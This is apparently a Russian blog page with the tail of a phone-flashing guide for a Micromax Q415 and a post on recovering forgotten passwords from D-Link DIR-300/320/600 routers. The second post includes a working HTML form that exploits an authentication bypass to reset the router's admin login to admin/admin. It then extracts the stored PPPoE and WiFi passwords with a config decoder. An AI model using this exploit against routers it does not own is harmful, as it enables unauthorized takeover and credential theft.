Как видно, у меня это COM3. Если вы дошли до этого пункта без проблем, то от прошивки телефона вас отделяют считанные минуты.

Запускаем Qualcomm Smartphone Multi-Port Software Upgrade Tool. В появившемся диалоге нажимаем на восклицательный знак, чтобы имя пользователя Operator у вас изменилось на Administrator и вводим пароль ustest , после чего нажимаем Ok.


В окне программы нажимаем кнопку Load Soft Folder и выбираем папку с прошивкой MMX_Q415_SW_V2.8_HW_V0.2__V25112015B1661_LCS4.bin из распакованного нами архива. Далее в любом из окошек выбираем COM-порт, на котором у нас находится телефон в Download Mode (в моем случае это COM3) и нажимаем кнопку Start. Вот так выглядит окно программы Qualcomm Smartphone Multi-Port Software Upgrade Tool до нажатия кнопки Start:

Всё, далее у нас идет процесс прошивки:



Успешным признаком ее завершения является появление надписи Download finish! в окне состояния:


Телефон после завершения прошивки должен перезагрузиться автоматически (по-крайней мере так задумано), но в моем случае этого не произошло. Ничего страшного, это нормально. Просто удерживаем кнопку Power на телефоне около секунды, двух, до тех пор пока он не перезагрузится.

Первое включение телефона после прошивки может продолжаться несколько минут, необходимо подождать пока не инициализируются все данные. Вообщем-то первое включение аналогично тому, как если бы вы только что купили новый телефон в магазине, достали из коробки и впервые в жизни включили его. Сразу же после завершения загрузки и инициализации данных на дисплее появится экран приветствия:


Добро пожаловать в ваш обновленный Micromax Q415! Если есть какие-то вопросы, задаем их в комментариях здесь или в сообществе.

p.s. Эх, а коврик-то уже порвался ... )

p.p.s. Да, как вы уже поняли, с помощью утилиты Qualcomm Smartphone Multi-Port Software Upgrade Tool можно прошить одновременно до 16 (!) устройств. При этом среднее время прошивки одного устройства составляет ~4 min.

пятница, 15 января 2016 г.

D-Link DIR-300/DIR-320/DIR-600. Восстановление забытого пароля.

Представим себе, что вы попали в ситуацию, когда вам надо зайти в web-интерфейс вашего D-Link DIR-320, а пароль администратора вы не помните. Или возьмем более общую ситуацию, когда вам нужно помочь кому-нибудь настроить новый роутер, вместо старого DIR-320, однако, обратившийся за помощью к вам владелец не помнит абсолютно ничего. Т.е. ни пароля для входа в web-интерфейс, ни пароля для PPPoE соединения, ни пароля для WiFi. Очевидный путь в данной ситуации - это просто отложить DIR-320 в сторону, дозвониться до тех. поддержки провайдера, "сбросить" пароль PPPoE и настроить новый роутер. Однако, есть способ проще, который позволяет достать всю необходимую информацию, непосредственно из имеющегося роутера.

Рассматривать сложные варианты, с созданием PPPoE концентратора на Mikrotik'е для того, чтобы узнать пароль к PPPoE мы не будем. Хотя такой подход тоже имеет место. Вместо этого мы воспользуемся exploit'ом D-Link DIR-300 Multiple Security Bypass Vulnerabilities для получения доступа к нашему роутеру.

Создадим в блокноте файл login.html со следующим содержанием:

<form action="http://192.168.0.1:80/tools_admin.php" method="POST">
<input type="hidden" name="ACTION_POST" value="LOGIN">
<input type="hidden" name="LOGIN_USER" value="a">
<input type="hidden" name="LOGIN_PASSWD" value="b">
<input type="hidden" name="login" value="+Log+In+">
<input type="hidden" name="NO_NEED_AUTH" value="1">
<input type="hidden" name="AUTH_GROUP" value="0">
<input type="hidden" name="admin_name" value="admin">
<input type="hidden" name="admin_password1" value="admin">
<input type="submit">
</form>

И откроем его в браузере. После нажатия кнопки "Отправить", несмотря на появившееся сообщение об ошибке логин и пароль для входа в web-интерфейс будут сброшены на стандартные admin / admin, Так, мы получили доступ к web-интерфейсу. Однако, посмотреть сохраненные в роутере пароли таким образом у нас все равно не получится.

Для того чтобы сделать это, заходим в меню System и выбираем там опцию backup'а настроек устройства на жесткий диск. В результате у нас получается файл config.bin, который как раз и содержит все необходимые нам логины, пароли и явки. Однако, содержимое данного файла в бинарном формате, плюс сжато / зашифровано. Для просмотра содержимого полей логин / пароль в открытом виде нам понадобится утилита RouterPassView v1.62 от Nir Sofer'а. Утилита также поддерживает формат файлов конфигурации от множества других устройств. Открываем полученный config.bin в RoutePassView и видим все необходимое:


Теперь, обладая нужными данными можно приступать к настройке нового роутера. Согласитесь, данный способ куда быстрее, чем связь с ТП провайдера для изменения паролей доступа в интернет. Также, его преимущество в том, что вы также получаете пароль от WiFi и можете настроить беспроводную сеть в новом роутере с теми же учетными данными, чтобы все клиентские устройства, которые уже были настроены на беспроводную сеть старого роутера без каких-либо дополнительных настроек начали соединяться с вновь настроенным роутером.